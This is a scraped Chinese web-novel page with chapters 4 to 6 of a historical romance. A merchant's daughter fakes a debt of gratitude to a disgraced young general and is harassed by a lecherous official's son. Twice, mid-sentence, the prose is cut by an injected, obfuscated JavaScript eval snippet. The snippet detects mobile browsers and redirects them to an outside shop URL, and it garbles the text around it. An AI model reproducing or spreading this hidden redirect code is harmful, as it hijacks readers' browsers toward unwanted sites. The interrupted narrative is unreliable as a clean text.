素锦抽噎着,仍不肯松手,余光瞥到风卷起遮布一角露出底下的礼物,惊得眼珠子要掉下来,再次收紧手臂,将人又往下拖,“娘子你疯啦!项二郎本就禁言此事,你送这玩意过去不是戳他心窝吗?!况且他还特地拒绝娘子登门!” “天底下哪个商户没被拒绝过?又有几个商户因为拒绝不做生意了?况且他再怎么恼我,总不至于拿刀架在我脖子上赶我走吧?”看素锦一副油盐不进的样子,苏月夭被缠得烦了,干脆道,“你若是怕得紧,那就别去了,我一个人去。” 素锦明白娘子向来说一不二,下定决心鲜少会因为旁人几句话就更改主意,她吸了吸鼻子,终于松开手。 看人上了车,她抹了把脸上的泪,也一骨碌钻进车辕内,面色惨白地想若是那项二郎发怒扑打上来,以她的小身板如何护住娘子先逃。 而另一边,项渊最近心情属实不虞,闯更加花楼闹事被父亲知道,不问缘由便认定是他有错,杖刑几十大板。 项夫人冷嘲热讽,美其名曰看望,他回嘴几句,又被禁足。 百般不如意,好在这几日苏月夭被他吓退,终于消停,也算是唯一幸事。 身后有伤,只能侧躺在榻上,刚好瞥见陈石在门外,似乎要进来又转身离开,行迹十分古怪。 他低声喝住,“怎么了?” 陈石脚步定住,缓缓转过身,“是……是苏娘子又来送礼了。” 呵,项渊被气笑了,额角青筋一抽一抽的,“你没将赔礼给她?” “送了。”陈石立即说,“我去赶走她。” “赶什么赶?”项渊已坐起身,疼得龇牙咧嘴,“她专程来了,我不得去会会?” “更衣。”他面色一沉,“去拿我的佩剑来。 4. 第四章 不到半盏茶功夫,只听“吱嘎噶”响动,府门渐开,随从相迎。 苏月夭讶然,今日没有刁难,竟直接让她入府了? 忙招呼抬礼物的下人,轻提裙摆拾级而上。 手臂猛地被缠抱住,侧头去看。 素锦一改往日柔顺,柳眉紧蹙,眼眸放光,带着某种决绝的神情。 苏月夭知她是担忧自个安危,便任由她半搀半护着,一同进去。 跟着随从行至水榭处,随从告退,只余下苏家几人。 苏月夭晃晃手臂,与素锦拉开些距离,看她依旧紧贴自己笔直站立,唯独脑袋转来转去,越看越像只受惊的鸱鸮,忍不住噗嗤笑出声。 素锦瞪大眼看她,“娘子!你居然还笑得出来!” “这有什么?”苏月夭拂开她的手臂,独自走到栏槛旁,双手托腮,凭栏望红鲤在绿荷穿梭,“项二郎再怎么可怖,总不至于把咱们吃了。” 况且,他今日以礼相待,或许是摔了木佛内心有愧,又或者遇到什么好事心情舒畅。 不管何缘由,总之他态度好转,她也稍许放松,望着如画风景,脑内不断演练稍后可能出现的场景。 “娘子!”衣袖猛地被揪紧,素锦声若蚊蚋,尾音带颤,“那人……那人是不是项二郎君?” 苏月夭被拽地身体趔趄侧过,抬眸顺着素锦手指的方向望去。 只见与水榭相连的游廊尽头,有位郎君疾步驰来,袍角带风,面容带煞,廊檐大片阴影覆在他身上,虽看不真切,但那副凶戾邪魅似罗刹恶鬼的模样,不是项渊又是哪个? 心猛地一沉,半晌才“嗯”了声。 见过他挑眉邪笑,见过他冷若冰霜,原来都还不是他生气模样,如今真动了怒,隔着老远,那凌冽煞气一寸寸碾压过来。 压得她呼吸不畅,连眼睛都不敢再朝那边瞟,忙收回视线,拖着颤巍巍的素锦挪到水榭中央等候。 她低头整了整衣衫,不知道又怎么惹恼他,比以前更甚,怕是今日不好应付,等下先正常问候,探探他的口风,确认发怒缘由,再…… “当啷”一声巨响! 她跟着浑身一颤,好似惊雷在耳畔炸开,脑内瞬间空白,刚要说出口的问候也卡在了喉间。 项渊也没给她开口的机会,甫一进来,先扔了把佩剑在石案上,剑鞘滑开,露出数寸冰寒锋芒。 她只是个闺阁女子,哪里见过这副景象? 胸腔似有万石压过,呼吸不畅,下意识攥住素锦衣袖。 右手愈沉,估计是素锦被吓瘫了,硬撑着没晕过去,但腿发软站不住,拖着她不住往下坠。 苏月夭只得先伸手扶稳身旁的人。 两人哆哆嗦嗦依偎着,害她也不住发抖,一时心绪纷乱。 不行,她不能慌!更不能表现出来! 指尖掐入手心嫩肉,努力让自己冷静下来,这里是项府,项渊再怎么胡来,也不可能让她们在自家府上出事,影响门楣。 清了清嗓子正欲开口,却再次被抢先。 那凶戾冷傲的语气似冰雹当头砸下,“苏娘子屡次登门来扰,看来是将我的警告权当耳旁风!” 劝告?什么劝告?他何时说过? 苏月夭垂下眼睫,在脑内搜刮一番,可还不等回忆起,又听他冷声道,“这番折腾是为了自家商路?抑或是祭祀姨娘?” 不给她说话机会,他已经给出答案,“我看都不是。” 苏月夭蓦地攥紧手指,匆忙别开视线,不敢与他对视,但那灼灼的眸光落在自己身上,好似被剥了皮,在他面前完全是赤裸的,她的小心思是不是已经被看穿了? 项渊撩袍落座,单手握剑,“不如今日我们敞开了聊,说说看你到底想做什么?” 说完,指节一下下叩着剑鞘,似是听不到满意答案便要抽刀。 苏月夭的心跳也随着叩击声加速,擂鼓般撞地心窝生痛,张了张口想要呼口气,偏偏此刻无风,滞涩憋闷,她松开发麻的五指,手心早已汗涔涔。 心中生出无数个退缩的念头,但想起芝兰玉树的那人,终是妄念胜过胆怯。 这是最后机会了,放手一博吧! “好,今日我便将心中所想悉数说出来。”她恭敬福身行礼,扬手示意下人将礼物呈上,“不过在此之前,请先允我唤郎君一声‘少将军’。” “少将军”三字一出,叩击声即止。 苏月夭忙抬眸去看他的反应,只见项渊依旧维持着刚才的坐姿,似是僵住,手指微抬,迟迟不曾落下。 意识到她的视线,他挑眉朝她瞪视一眼,松开剑鞘,伸手去拿桌案上的白瓷杯盏。 这时刚好几个下人抬礼物上前,是一张长梢角弓,柘木为骨,牛角为筋,弓形优美似游龙,可惜弓弦已断,梢部也几多磨损缺失,是把上了年头的断弓。 项渊正端起茶盏仰头欲饮,礼物呈上来的瞬间,瞳孔倏地收缩,面色骤变。 苏月夭没有放过他的任何表情变化,他喉结滚动,仰脖饮茶,茶盏挡住了面容,再放下时神情已恢复如常,好似刚才的无措都只是她的错觉。 “啪擦!” 项渊放下茶盏时,不知怎的竟失手打翻,瓷片碎了一地。 他几欲起身,却牢牢抓着案沿,似是强压下来,但泛白的骨节、手背的青筋还是暴露了此刻的情绪。 苏月夭心下了然,更加笃定自己的推测,声音愈发自然,“早年小女曾随家中商队在河东一带行商,路遇贼寇拦阻,性命攸关之际,被将士救下。 后来多方打听得知少将军名讳,又听闻母亲说起两家渊源,便缠着姐夫一同前来凉州,小女自知与少将军云泥之别,从未想过攀附。” 她再次福身行礼,“少将军问我到底想做什么,我只求报答救命之恩,奈何恩情深厚,再多礼物也是不够的。” 送礼,从来都是攻心为上。 曾经她以为项渊不过是个贪玩享乐的公子哥,用奇技淫巧就能讨他欢心,遂屡战屡败。 如今她送了断弓给他,他亦有触动,但随之而来的是转机抑或是绝境,她也不知,而且突然冒出个报恩的身份,前后必有矛盾,只能放手去赌,等下他问什么,她一一应变便是。 然而她的话音落下后,是沉默,长久的沉默。 项渊像是没听到她的话,或是干脆将她忘记了,始终低垂眼帘,窗棂的阴影落在他眉宇间,看不清表情,猜不透情绪。 站立在他身后的随从皆面色凝重,呆视前方,大气都不敢出。 如此死寂,如潮水一点点慢涨起,将她彻底吞没,她拼命呼吸,快要透不过气。 “……报恩?” 项渊终于开口,声音比平日要低哑干涩许多,完全没了尖锐强势的攻击,甚至带着几分不确定的试探。 苏月夭遂仰起脸,直直看着他的眼睛,“是的。” 视线相触,项渊蹙起眉头,眸光流转,快速垂下眼帘避开。 又是好长一段时间的沉默,久到苏月夭以为他是故意的,故意要试探她,她暗暗咬唇忍耐,硬是憋着一口气。 却听他说,“既如此,有劳娘子费心,礼物我收下了……陈石,你送苏娘子回去。” 嗯?他这是在感谢她吗? 苏月夭都怀疑自己听错了,忙仔细分辨他的神情,他已起身离席,不多时,身影就消失在游廊尽头,竟比她这个客人走得还快,简直逃一般。 坐上马车后,素锦才问,“娘子,你什么时候随商队去的河东?我怎么不知道?” 苏月夭连忙做了个噤声的手势,挑起车帘看离项府已有些距离,才莞尔一笑,“我当然没去过了,骗他而已。” 素锦听后,脸色煞白,抚着胸口快要背过气去,“娘子!你不怕他发现啊!” 看项渊最后的反应,她已有了六七成把握,此刻心情愉悦,忍不住逗弄,“怕啊,若是暴露了,你护我可好?” 素锦撸起袖子,“那是自然。” 她捂唇偷笑,“这次你站直了,莫要哆嗦,莫要腿软。” “娘子!” 同一时间,项渊侧卧在软榻闭目养神,先前那股无措情绪似棉花堵在胸口,连呼吸都是滞的,直到背后伤口开始一抽抽地痛,将他从情绪中抽离,回想起之前情形,方意识到蹊跷。 他缓缓睁开眼,低声唤来陈石,“去查查看,苏娘子说的是真是假。” 又补了句,“秘密行事,切莫让她知道。” 陈石领命,瞥了眼桌案上的断弓,“郎君,这礼物……” 项渊的目光随之落下,匆匆看了眼,便蹙眉冷声道,“先放着。” 尽管努力不让自己回忆起那些陈年旧事,可当晚金戈铁马入梦来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590625|205446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次日清晨,项渊就命人去寻陈石,随后穿戴整齐去了书房。 “所以,苏娘子说的都是真的?”他挑眉看向陈石,不自觉拢紧五指,“你确定?” “我派人誊抄了份苏家商队的关簿。”陈石从怀中拿出簿册,递呈上去,“几年前他们确实在河东一带往返运送布匹,刚好咱们也在河东剿杀叛军,时间地点都对得上。” 项渊坐直身体,低头一字字查阅,那时河东地区山匪叛军猖獗,途径百姓遭难十之有九,就算时间地点对得上又能说明什么?范围还是太大了。 书房静默几许,两人都不再说话,只剩下书页翻动的簌簌声。 “我也有些印象。”陈石突然开口,“郎君还记得之前攻打石州,曾在吕梁山随手灭掉的山寨吗?” 项渊抬眸看他,眉头皱得更紧,实在没什么印象。 陈石继续说,“那时郎君率兵急追叛军残部,被一伙山匪挡了路,他们正押着劫掠的百姓往山上去,郎君只带着我们几个随从绕到山匪前,没费一兵一卒,只用三枚箭镞射杀匪寇,其余山匪四散而逃。” 随着陈石的讲述,项渊好像又回到那个闷热到快要喘不过气的午后,耳旁是嗡嗡的蝉鸣声: 那日烈日当头,他身披重甲,再加上不熟悉山路地形,叛军绕了几圈没了影,本就恼怒急躁至极,得知山匪挡路无法前行,一时气血上涌,只身解决贼首便策马归队,继续行军。 至于那些百姓有没有趁乱而逃,里边会不会有位姓苏的小娘子,他是完全不知的。 他紧紧盯着簿册上的文字,上面记录着苏家商队经过关所时的人员信息,其中男子十三名,女子三名,分别是苏氏女及她的丫鬟二人。 指腹在“苏氏女”三字上轻轻拂过,似是透过纸张看到少女仰起皎白面庞,那双潋滟生彩的双眸直直看向他,朱唇轻启,无比清晰坚定地说,“是的。” 她是来报恩的。 可何来的恩情?他根本就没想过救人,不过是有人碍了他的路,他顺手解决,根本就是无心之举,他没想过救她啊。 所以她看向他时,他移开视线不敢看,现在回想起来,心口依旧像是被烫过,泛起酸涩的疼。 如同撕开一道口子,种种往事如冷冽的寒风灌入脑海中。 他想起五年前,听闻朔方招兵,他瞒着家里偷跑,从最低级的士卒一路做到果毅都尉。 每每打了胜仗得了赏赐,意气风发离开主帐,总能听到有人低声议论,说他不过是仗着世家出身,实则纸上谈兵之徒,他气不过,主动请缨去攻被围困许久的盐州。 盐州地形险要,易守难攻,周边多荒漠戈壁,还有盐池沼泽,骑兵难以靠近,他无所不用其极,火攻投石下毒,什么肮脏手段都试了,终于撞开城门,杀尽胡虏。 后来上峰轻敌兵败,收复的城池又被胡人夺去,他和其余几百人留下诱开敌军。 弓弦拉断,战马被砍伤,他从马上跌落,又抽刀博杀,刀折刃尽,最后只活了数人,终于等来援军和圣旨。 他身负重伤,衣袍都被血浸透,勉强单膝跪地接旨,却被人诬陷,担了兵败的责,军功算给别人作垫脚石,从此革职归家,前途尽毁。 临行前,没有可以告别的人,就去看了陪他历经沙场的战马,轻抚背脊的鬃毛,替它合上眼睛。 时隔多年回到河西,父亲让他做个巡查的闲职混日子,人人皆笑话他辱了世家脸面,兵败归家,难成大器。 没有人记得他也曾驰骋沙场,枪点敌将头颅,是战无败绩、意气风发的少将军。 连他自己也忘了,索性活成他们心目中的顽劣模样,烂成扶不上墙的泥巴。 就这样吧,他已经接受了。 偏偏有人千里迢迢从江南追到边塞,再三感念他的恩情,哪怕被冷嘲热讽,始终被挡在门外,仍旧一而再再而三地要见他,送礼物讨好他,只为报恩。 一时间,情绪翻涌如潮,找不到出口,在胸腔来回撞击,心口酸痛,他收紧手指努力压制,薄薄的纸册皱成团,又被他一下下抚平。 他沉默许久才道,“陈石,你去看看苏娘子今日可曾来?” 感到惊异的目光投向自己,项渊垂下眼帘,更加专注手中的动作,清了清嗓子,努力放缓声线,“若是不曾,你就去亲自请她,就说……就说关于报恩之事,我还有话要问。” 5. 第五章 细雨微濛,凉亭纱幔高卷,露出桌案上各色精致茶点,案几两端遥遥对坐的少年男女。 边塞的夏雨亦带着几分寒意,苏月夭瑟缩在圆凳上,双手捧着茶盏,小口啜饮,垂眸盯着面前的枣糕出神,却始终没有拿取品尝。 一想到今日过来是为了说清当年救命之事,她就忐忑难安,哪里还有胃口。 来之前已准备好说辞,连断弓的来源都编好了,可她毕竟没有去过河东,更不曾见过将军士卒,若是问起细节,怕是会露出端倪。 抬眸不动声色朝桌案那头瞄去,项渊左臂搭案侧坐,另只手捏着茶盏,薄唇贴在瓷白的杯壁上,面上看不出什么情绪来。 从她到府上,问候行礼后,他就一言不发,她也不好开口,茶都喝了三壶了,也不知是什么意思。 恰好这时,项渊眼睫轻眨,竟乜斜着看过来。 苏月夭心头一紧,忙垂眸收回视线,只听对面连连闷咳,估计是喝茶喝急了被呛到。 他们相见已有三回,却从未这样平静相处过,或许他也不适应吧? 凉亭静得只剩下淅淅沥沥的雨声,滴滴敲在她的心头,连呼吸都滞涩难耐。 苏月夭实在受不住,逼着自己先开口,“少将军寻我来是想问当年河东之事吗?一经多年,有些也不甚清晰了,只记得……” “既然已经过去,就不必再说。”项渊出言打断,生怕她回忆起往事,发现他并不是真的要救她,那他这个救命恩人还如何当? 苏月夭看他不愿再提,如释重负,心神飘荡,却又听他说,“昔日恩情已了,苏娘子以后不必再来寻我报恩了。” 心忽地又坠到底,她费时费力,好不容易看到点希望,如今又被他打回原地,这个人真是油盐不进,堪比茅厕里的顽石,又臭又硬! 一时情绪激荡,话没过脑子直接冲出口,“不要!我就要来!” 项渊转头看她,“为何?” 苏月夭暗自吸气,硬是将胸腔内那股躁动的情绪摁下,摆出明媚笑意,“因为没人陪我玩啊。” 向来轻软的嗓音,此刻带着点情绪,听起来竟有种撒娇耍赖的语气。 项渊露出个古怪的表情,一字一顿确认,“你、找、我、玩?” “是啊,阿姊要忙生意要照顾孩子,家里其他人也各有各的忙,再说也没有和我年岁相仿的,铺子里倒是经常有娘子来看锦缎布匹。” 她朝他盈盈一笑,“但我是商户女,她们是世家女,自然是看不上我,我拼命讨好还是被排挤无视,那种感觉郎君肯定不知道。” 他怎么可能不知? 明明都是项府子嗣,就因为他是庶出,就因为生母出身卑微,他就被排挤在外,那些冷嘲热讽,表面一套背后一套,他经历的还少吗? 从某种程度来说,他们的处境极其相似,好似在她身上能看到自己。 视线控制不住落在对面的少女身上,头一次认真打量起她,明明是豪富之女,家里卖的是越罗吴绫,她却穿着棉布衣衫,发上没有簪钗,只有朴素简洁的发带。 但他们又有些不同,至少她说起这些脸上带着笑意,轻松得似是在说别人的事,眼眸清亮,笑靥如花,晃得他匆匆移开视线。 项渊垂首啜了口茶,一副无所谓的口吻,“随便你,腿长在你身上我还能替你决定?反正拦也拦不住。” 苏月夭又惊又喜,几欲起身拍掌大笑,忙抿唇努力克制,“听闻少将军被禁足无法外出,那我就多来找你,陪你解闷。” “别再叫我少将军了。”项渊单手托腮,笑得轻佻,“难不成你想投入我麾下做死士?” “不敢。”吓得苏月夭立即收敛神色,默了默又问,“那以后我该如何称呼呢?” 看他迟迟不语,苏月夭拖着腔调轻声试探,“项二郎?项巡使?” 项渊始终不应声,她渐渐没了底气,称谓越来越远,声音愈来愈低。 他兀自低笑出声,抬眸看她,“不是要找我玩么,直呼其名就好。” 她也跟着笑了,“我的名字拗口,家人朋友都唤我‘夭娘’,若是郎君不介意,便这样称呼我。” 彼此交换称谓算是正式建立友谊,以后就能打着项渊的旗号随意出入项府,距离心上人更进一步。 苏月夭喜不自胜,专挑项峻休沐的日子拜访,她想着如今项渊被禁足,项峻身为嫡兄必会探望,若是刚好她也在,不就名正言顺地认识了吗?说不定还能说上几句话。 然而她去了一次、两次、三次,始终未能如愿。 第四次依旧没能见到他,她和项渊在凉亭下棋,心不在焉,棋局将败。 看着密密匝匝的黑子围困着零星白子,她也有些喘不过气,禁足即将结束,再不抓紧真的没机会了。 她暗自吸了口气,轻声将许久的疑惑直白问出,“……你和项世子是不是关系不好?” 话音刚落,项渊探手拈棋的动作蓦地顿住,他掀起眼皮,直直盯着她,“你问这个做什么?” 他的眸光黑沉,看不出什么情绪,许是她另有所图,竟被看得心虚,忙移开视线。 “没什么,就是有点好奇……你看你被禁足这么久,你家兄长却不来看你。”苏月夭随手将棋子落下,扬起脸朝他轻笑,“呐,到你啦。” “兄长公务繁忙不得空,哪像我天天大把时间可以荒废。”项渊垂下眼眸,那股凌冽气息随之消散,连声音都带着几分散漫,“不过人没来,倒是送了好些佛经让我誊抄静心养性。” 说完,“啪”地重重落子,阻断她的生路,将吃掉的白子一颗颗从棋盘上取下,“你啊别瞎操心别人了,马上要输咯,让我看看你如何翻盘。” 一听项峻派人送来佛经,苏月夭的心思早被勾走了,哪里还顾得上残局。 当即认输,双手将棋子往前一推,白棋黑棋尽数滚落,她手臂撑着棋盘,身体前倾,眸光颤动着,“我可以看看那些佛经吗?” 项渊的指间还拈着棋子,蹙眉仰身往后躲,一边命陈石去拿佛经,一边咋舌,“你这棋品竟比我还烂。” 片刻后,佛经就到了苏月夭手中,她缓缓推开卷轴,雄浑端庄的字活过来似的,随着卷轴展开一一跃出。 那字迹明明每日临摹再熟悉不过,此刻又有些陌生,指腹细细摩挲感受墨汁渗透纸张的痕迹,好似能透过纸面看到项峻提笔忙碌公务,听闻弟弟闯祸后摇头叹息,又气又急无可奈何的模样。 她还未曾见过那样的项峻,只是想想就已心生喜爱,面上不由得浮起一抹笑意,喃喃细语,声音轻地只有她自个能听到:“原来他喜佛。” 之前她曾和项府下人旁敲侧击过项峻的喜好,但他过于遥不可及,下人说除了他院里伺候的仆从,大家对这位世子爷不甚了解,所以时至今日她才知道他好佛,有些意外又觉得与他极为相称,都是完美谪仙。 蓦地想起初次遇到项渊时,他手里也有尊木佛,恍然大悟,视线从卷轴转向棋盘对面的人,“所以那时候你是在给项世子雕刻佛像?” 项渊正垂头将散落在身上的棋子捡起丢入棋笥,似是在回忆她说的是哪件事,沉默半晌才说,“算是吧。” 低沉悦耳的声音,再加上这副垂首敛眉整理衣襟的模样,莫名瞧着乖顺,完全不同于往日的恣肆狂妄。 苏月夭在脑内描摹出一对不善言辞但彼此照顾的兄弟形象,又联想到自己和阿姊,遂笑逐颜开。 “我们真的很相似,我在家中也行二,也有个能力超群的长姐,不过我被她宠坏了,从没管过生意,琴棋书画也是前几年才开始学。”她腼腆一笑,又巴巴看着棋盘对面的人,“真羡慕你们兄弟这样的,项世子严厉待你,也是盼你成才。” “是啊。”项渊始终没抬头,手指不时拨动棋子,发出哗哗响声,将他的声音半遮半掩,“兄长奇才,少年状元及第,文韬武略无所不长,年纪轻轻便做了高官大员。” 棋子撞击声倏然静止,只余他似慕似叹的一声,“呵,谁不想成为他那样的人。” 苏月夭顺其自然接过话茬,劝慰道,“郎君莫要妄自菲薄,项世子固然才华横溢,但郎君也有他无法比拟的长处。” 此话一出,不啻于一道霹雳击中项渊,从耳灌入脑,冰润的棋子被紧紧握在手心,硌得生疼,疼痛提醒着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590626|205446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是在梦中,他也没听错。 她刚才确确实实说了。 从未有人对他说过这种话,每当被拿去与那人比较,他就是大字不识的白丁,败逃归家的懦夫,不学无术的纨绔,可在她眼里他依旧拥有那人无可比拟的长处。 万千情绪在胸腔翻涌,终是压不住,让他顾不得颜面,抬头嗫嚅着张口想要问她具体是哪些,可少女话锋一转已经聊起别的话题。 “日子过得可真快啊,再过半月就是乞巧节了,那晚没有宵禁肯定很热闹,我们要不一起去赏月祭星?” 哗啦—— 项渊抽回手时,不慎撞翻棋笥,棋子落了一地,可他顾不得唤人收拾,直直盯着苏月夭看。 看她手指绞缠发带,垂眸不敢与他对视,十足小女儿模样,而他的心绪也被她搅得七上八下,半张着唇惊疑不定。 苏月夭似是也被棋子摔落的响动惊到了,身体微微颤了下,像是受惊的兔子般弱小可怜。 可声音却笃定清晰,“只有我们俩人怕是不妥,我在这边也没有其他相熟的人,阿姊姐夫那天也忙,要不……” 她顿了下,头垂地更低了,耳畔泛粉,声音软甜得像含了块糖,“要不你叫上项世子一起?主要是怕有人说闲话。” 项渊眯起眼眸,倒吸一口凉气。 原来那些传言竟是真的。 这些天两人相见频繁,府上便有人传闲话,说苏娘子意图以身相许,想要勾结于他。 他本来是不信的。 一来苏月夭对他并无所求,她不缺钱,他也没爵位继承,图他什么,总不至于图他这个人吧? 二来…… 他快速朝对面瞥去一眼,少女明眸皓齿,面若粉团,顶多算娇俏可人,怎么看都不像狐媚之人啊。 但现在看来人不可貌相,她长着张娇憨柔嫩的面庞,行事比他还恣肆乖张,竟敢约他私会。 而且还是黑夜!黑夜!还怕被人察觉,拉着项峻当挡箭牌! 她怎会如此大胆? 他只是想想,心脏都快得似被疾马速兵踩过,她一个娇滴滴的小娘子哪来这般胆识……难不成真的是图他这个人罢? 这个念头刚蹿出来,心口如同被狠狠重击了般,血拼命往上涌,耳根发烫,呼吸都有灼烧感。 项渊深吸一口气,强压下微微上扬的唇角,视线扫过被她双手小心抱着的佛经。 “你约我去乞巧节?”他哼笑一声,竟有种报复的快意,“不去!” 送走苏月夭,项渊唤来陈石,“去查查看,是谁在传我和苏娘子的事,再有胡说八道的,立即赶出去!” 陈石看他面容冷峻,方才又直白不留情面地拒绝,便以为他对传言厌恶至极,更恨与商贾之女有染,因此领命后,又补了句,“若是苏娘子再来府上,我就让门卫拦住她。” 项渊神情古怪地看过来,“为什么要拦?” “之前不都答应过随便她来么?现在又拦,岂不是显得我言而无信?”顿了下,他又催,“传言尽快处理,切莫传出去,尤其不能让苏娘子知道。” 强势打压下,流言消散,然而还是被一人打听了去。 那人是行军司马的四子李欲,常与项渊纵马行乐。 上次在酒肆,他好心让新得的美妾去侍奉,谁知项渊不领情,摔了杯盏,脸上尽是嫌厌之色。 李欲觉得好笑,出来玩的一众人就项渊出身最差,生母低贱靠爬床上位,他倒是忘了本,最看不起那些攀附卖笑的女子,装什么呢。 也不知道这话怎么就让项渊知道了,追到花楼揍人,现在伤还没养好。 李欲听到传言时,正躺在美妾腿上吃葡萄,“机会可不就来了?项二向来排斥攀附之女,唯独肯让这个表妹亲近,两人关系不一般啊。” 美妾替他剥去葡萄皮,一颗颗唇对唇哺喂他,娇笑道,“郎君计划如何?” “对付不了项二,但对付小娘子的方法就多了去了。” 李欲阴恻恻地嚼着葡萄,汁水飞溅,落在美妾裙上,他伸舌舔去,露出个无比淫邪的笑,“先让我尝尝能迷住项二的小娇娘是什么味儿的。” 6. 第六章 禁足结束,项渊就约上三无好友外出行猎,直至尽兴,三日后方才归家。 他渴极,坐在榻上自个倒了茶,一边慢慢饮,一边听陈石讲府上这几日的大小事。 说完了陈石还立在原地,似是还有事情,他挑眉示意他继续说。 陈石这才支支吾吾地开口,“是……苏娘子出了点事。” 项渊轻啜了口茶,没有打断。 “前日李四郎在街头拦住了苏娘子的马车……” 端着茶盏的手蓦地顿住,他敛了神色,“你说谁?李四郎?那个缩头龟?” 这两人应该不认识啊,怎会牵扯在一处? 得到肯定答复后,他明白过来,必是那厮不敢找他报仇,竟将矛头转向手无缚鸡之力的小娘子。 “真是个欺软怕硬的废物!”他嗤笑一声,将茶盏重重放回桌案,“然后呢?” “李四郎当众挑开车帘。”陈石默了默,努力憋出来,“言语轻佻,行为放纵,临走前还说改日要去苏家铺子上,让苏娘子亲自为他量体裁衣。” “啪”地一声巨响,陈石哆嗦了下,止住了没说完的话。 项渊猛地拍案起身,茶盏震得晃了晃,茶水溢出落在他手背,顺着指缝流淌下来,黏黏腻腻的水渍让他止不住作呕厌烦。 那李欲是个色中恶鬼,整日泡在花楼不说,还仗着父亲是行军司马强抢民女,横行霸道。 这样恶心的缩头龟不敢正面与他冲突,就玩些阴的,如今爬到他的脚边,用被情色熏黑的猥琐目光觊觎他身边的人。 顿时气血上涌,抬腿疾步朝门口走去。 陈石连忙跟上去,“郎君,咱们带多少卫兵过去?” 项渊猛地顿住,这才意识到自己竟被怒火冲昏头,险些犯浑,此刻理智回笼,顿时恼羞成怒,急转过身,眸光似刀般斜劈下来,“你什么意思?!” 陈石骇地头都不敢抬,“郎君不是、不是要去给苏娘子报仇么?” “我给她报仇?”他紧盯着陈石,怒道,“我为一个不相干的人去得罪行军司马?” 陈石垂首不语。 项渊胸膛还剧烈起伏着,也不知是被李欲恶心的,还是因为下人的僭越发言,他缓缓舒口气,冷静下来,重新坐回软榻。 声音也变得清润许多,“我不在的这几日,苏娘子可曾来向我求救?” “不曾。” 他笑了下,拿帕子将手上的茶渍擦去,“你看,她也不需要,我去救什么?” “郎君所言极是。” 擦干净手,他将帕子一甩,似是不经意问起,“那天,她是怎么逃过去的?” “据说是嬉笑着敷衍过去,但李四郎纠缠了许久。” 一句话听得他又血往上涌。 她竟这样没骨气,被当街折辱还笑着应对。 不过也是,她本就是这样的人,之前被他百般拒绝,不也笑盈盈地一次又一次寻他?所以才会被人欺负,活该。 他懒得管这事,本来她对他来说就是无所谓的。 挥手让陈石退下,他要闭目修神。 可刚闭上眼,又想到若是她真落在李四手里,怕是连小命都保不住罢? 到时候,这世上唯一觉得他比兄长强、会用那种明亮眼眸追着他报恩的人,可就没了。 项渊无可奈何地掀起眼皮,直直望着梁柱默了几息。 随即拧眉起身,叫回陈石,“你去派人盯着苏家和李家,有什么动静立刻告知我。” 数日后,李家来了位贵客——兵部刘主事,别看官职不高,他的父亲可是兵部郎中,刘家更是行军司马好不容易为四子攀上的姻亲。 李欲不敢怠慢,收敛往日张狂放荡,装出谦谦君子模样,不料还是未能逃过刘主事法眼,责问他可曾眠花宿柳、欺男霸女。 他自然不认,刘主事冷笑着将一封伸冤信和香囊掷到他脸上。 原来是被他抢过的某个良家,家人气不过,跑去长安偷偷塞了信给他的未婚妻,未婚妻找父母哭诉退婚,刘家这才派刘主事来河西责问。 眼看亲事要黄,行军司马顿时暴跳如雷,提刀追着李欲从前厅跑到后院,最后当着刘主事的面遣散后院姬妾,又打了他几十大板,让他伤好后就滚回军营,不得入城,这才安抚好刘家。 李欲这回真是丢面又伤身,趴在床上恨得牙痒痒,那小小农夫哪来的钱去长安告密,又如何认得字写伸冤信,背后必然有人指使,会是谁呢? 他树敌众多,一时也想不出来,哪个都瞧着可疑,最有可能的是那项二,前段时间他才在街头调戏过他的表妹。 但是以项二的行事风格,不该直接堵了他暴揍一顿么?怎会大费周章跑去长安找他亲家,还专盯着他的后院下手,妥妥娘子做派。 ……等下,难道报复他的不是郎君? 他脸上浮现出一抹阴邪笑意,唤来下人。 “你去查这件事,重点盯项家和苏家,若是查到……”他咬得后槽牙嘎吱嘎吱响,“我定要那贱人家破人亡!卖身娼馆!” 项府内,苏月夭穿过月洞门便缓下脚步,眼眸不住朝周围张望,总觉得今日随从引的路有些陌生。 她也记不清,这些时日被扰得焦头烂额,已经许久没来找项渊。 都怪李欲那狂徒,竟在青天白日下当街拦住她的马车,污言秽语,还探手妄想抚摸她的面颊。 她又羞又恼,恨不能甩他两巴掌,可看他衣着华贵,护卫森然,便知道他是自个惹不起的世家公子,只好强忍着避过去。 哪曾想他反倒记挂上,嬉皮笑脸地说改日将她纳入后院好生疼爱。 回到家,阿姊和姐夫已经得知此事,皆唉声叹气。 姐夫提议将她送回江南老家避祸。 她哪里肯,好不容易找到接近心上人的方法,现在回去岂不是前功尽弃?要不送点礼物过去,求他放过她吧。 “你当是在江南吗?什么都能拿钱解决。”阿姊板起脸,“这可是边塞!这的纨绔可不像老家的公子哥只会乱花钱,这的都是欺男霸女的主!别说回江南,若是真被惦记上,你现在离开,就是自投罗网,关卡可都是行军司马的人。” 她这才后知后觉产生惧意,先前的怒火被无措委屈惶恐取代,缩在阿姊怀里不住颤抖。 姐夫又叹气,决定送礼求见行军司马。 可是见到又如何?那人敢在街头闹事,就说明行军司马对儿子的糊涂事睁一只眼闭一只眼,根本无所谓。 但总有人在意。 